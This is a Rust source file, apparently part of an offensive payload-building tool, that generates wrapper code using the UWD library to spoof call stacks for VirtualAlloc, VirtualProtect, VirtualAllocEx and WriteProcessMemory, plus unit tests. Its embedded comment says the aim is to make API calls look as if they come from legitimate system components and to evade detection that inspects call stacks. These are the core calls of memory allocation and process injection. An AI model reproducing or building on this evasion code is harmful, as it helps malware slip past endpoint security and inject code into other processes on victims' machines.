/// Generate UWD call stack spoofing wrapper code for Windows APIs
 ///
 /// This module provides code generation for wrapping Windows API calls with
 /// UWD's call stack spoofing functionality. When enabled, API calls will have
 /// forged call stacks that appear to originate from legitimate system components.
 /// Generate imports needed for UWD call stack spoofing
 pub fn generate_uwd_imports() -> String {
     r#"use uwd::{spoof, syscall};"#.to_string()
 }
 
 /// Generate wrapper function that uses UWD to spoof VirtualAlloc calls
 pub fn generate_spoofed_virtual_alloc() -> &'static str {
     r#"
 /// Wrapper for VirtualAlloc with call stack spoofing
 unsafe fn virtual_alloc_spoofed(
     address: *mut c_void,
     size: usize,
     allocation_type: u32,
     protect: u32,
 ) -> *mut c_void {
     let result = spoof!(
         VirtualAlloc,
         address,
         size,
         allocation_type,
         protect
     );
     
     match result {
         Ok(addr) => addr as *mut c_void,
         Err(_) => std::ptr::null_mut(),
     }
 }
 "#
 }
 
 /// Generate wrapper for VirtualProtect with call stack spoofing
 pub fn generate_spoofed_virtual_protect() -> &'static str {
     r#"
 /// Wrapper for VirtualProtect with call stack spoofing
 unsafe fn virtual_protect_spoofed(
     lp_address: *mut c_void,
     dw_size: usize,
     fl_new_protect: u32,
     lpfl_old_protect: *mut u32,
 ) -> i32 {
     let result = spoof!(
         VirtualProtect,
         lp_address,
         dw_size,
         fl_new_protect,
         lpfl_old_protect
     );
     
     match result {
         Ok(ret) => ret as i32,
         Err(_) => 0,
     }
 }
 "#
 }
 
 /// Generate wrapper for VirtualAllocEx with call stack spoofing
 pub fn generate_spoofed_virtual_alloc_ex() -> &'static str {
     r#"
 /// Wrapper for VirtualAllocEx with call stack spoofing
 unsafe fn virtual_alloc_ex_spoofed(
     process: *mut c_void,
     address: *const c_void,
     size: usize,
     allocation_type: u32,
     protect: u32,
 ) -> *mut c_void {
     let result = spoof!(
         VirtualAllocEx,
         process,
         address,
         size,
         allocation_type,
         protect
     );
     
     match result {
         Ok(addr) => addr as *mut c_void,
         Err(_) => std::ptr::null_mut(),
     }
 }
 "#
 }
 
 /// Generate wrapper for WriteProcessMemory with call stack spoofing
 pub fn generate_spoofed_write_process_memory() -> &'static str {
     r#"
 /// Wrapper for WriteProcessMemory with call stack spoofing
 unsafe fn write_process_memory_spoofed(
     process: *mut c_void,
     base_address: *const c_void,
     buffer: *const c_void,
     size: usize,
     number_of_bytes_written: *mut usize,
 ) -> i32 {
     let result = spoof!(
         WriteProcessMemory,
         process,
         base_address,
         buffer,
         size,
         number_of_bytes_written
     );
     
     match result {
         Ok(ret) => ret as i32,
         Err(_) => 0,
     }
 }
 "#
 }
 
 /// Generate comment explaining UWD integration
 pub fn generate_uwd_info_comment() -> &'static str {
     r#"
 // ============================================================================
 // Call Stack Spoofing with UWD
 // ============================================================================
 // This binary uses the UWD library to spoof call stacks when making Windows
 // API calls. This makes the execution appear as if it's coming from legitimate
 // system components, evading detection mechanisms that inspect call stacks.
 //
 // UWD Repository: https://github.com/joaoviictorti/uwd
 // ============================================================================
 "#
 }
 
 /// Generate complete UWD wrapper module for inclusion in generated code
 pub fn generate_uwd_wrapper_module() -> String {
     format!(
         r#"{}
 {}
 
 use std::ffi::c_void;
 
 // Import Windows API functions that will be spoofed
 #[link(name = "kernel32")]
 extern "system" {{
     fn VirtualAlloc(
         address: *mut c_void,
         size: usize,
         allocation_type: u32,
         protect: u32,
     ) -> *mut c_void;
 
     fn VirtualProtect(
         lp_address: *mut c_void,
         dw_size: usize,
         fl_new_protect: u32,
         lpfl_old_protect: *mut u32,
     ) -> i32;
     
     fn VirtualAllocEx(
         process: *mut c_void,
         address: *const c_void,
         size: usize,
         allocation_type: u32,
         protect: u32,
     ) -> *mut c_void;
 
     fn WriteProcessMemory(
         process: *mut c_void,
         base_address: *const c_void,
         buffer: *const c_void,
         size: usize,
         number_of_bytes_written: *mut usize,
     ) -> i32;
 }}
 
 {}
 {}
 {}
 {}
 "#,
         generate_uwd_info_comment(),
         generate_uwd_imports(),
         generate_spoofed_virtual_alloc(),
         generate_spoofed_virtual_protect(),
         generate_spoofed_virtual_alloc_ex(),
         generate_spoofed_write_process_memory()
     )
 }
 
 #[cfg(test)]
 mod tests {
     use super::*;
 
     #[test]
     fn test_generate_uwd_imports() {
         let imports = generate_uwd_imports();
         assert!(imports.contains("use uwd"));
         assert!(imports.contains("spoof"));
         assert!(imports.contains("syscall"));
     }
 
     #[test]
     fn test_generate_spoofed_virtual_alloc() {
         let code = generate_spoofed_virtual_alloc();
         assert!(code.contains("virtual_alloc_spoofed"));
         assert!(code.contains("spoof!"));
         assert!(code.contains("VirtualAlloc"));
     }
 
     #[test]
     fn test_generate_spoofed_virtual_protect() {
         let code = generate_spoofed_virtual_protect();
         assert!(code.contains("virtual_protect_spoofed"));
         assert!(code.contains("spoof!"));
         assert!(code.contains("VirtualProtect"));
     }
 
     #[test]
     fn test_generate_uwd_wrapper_module() {
         let module = generate_uwd_wrapper_module();
         assert!(module.contains("use uwd"));
         assert!(module.contains("virtual_alloc_spoofed"));
         assert!(module.contains("virtual_protect_spoofed"));
         assert!(module.contains("Call Stack Spoofing"));
     }
 }

© 2024 - 2026 djnn, inc • generated with stagit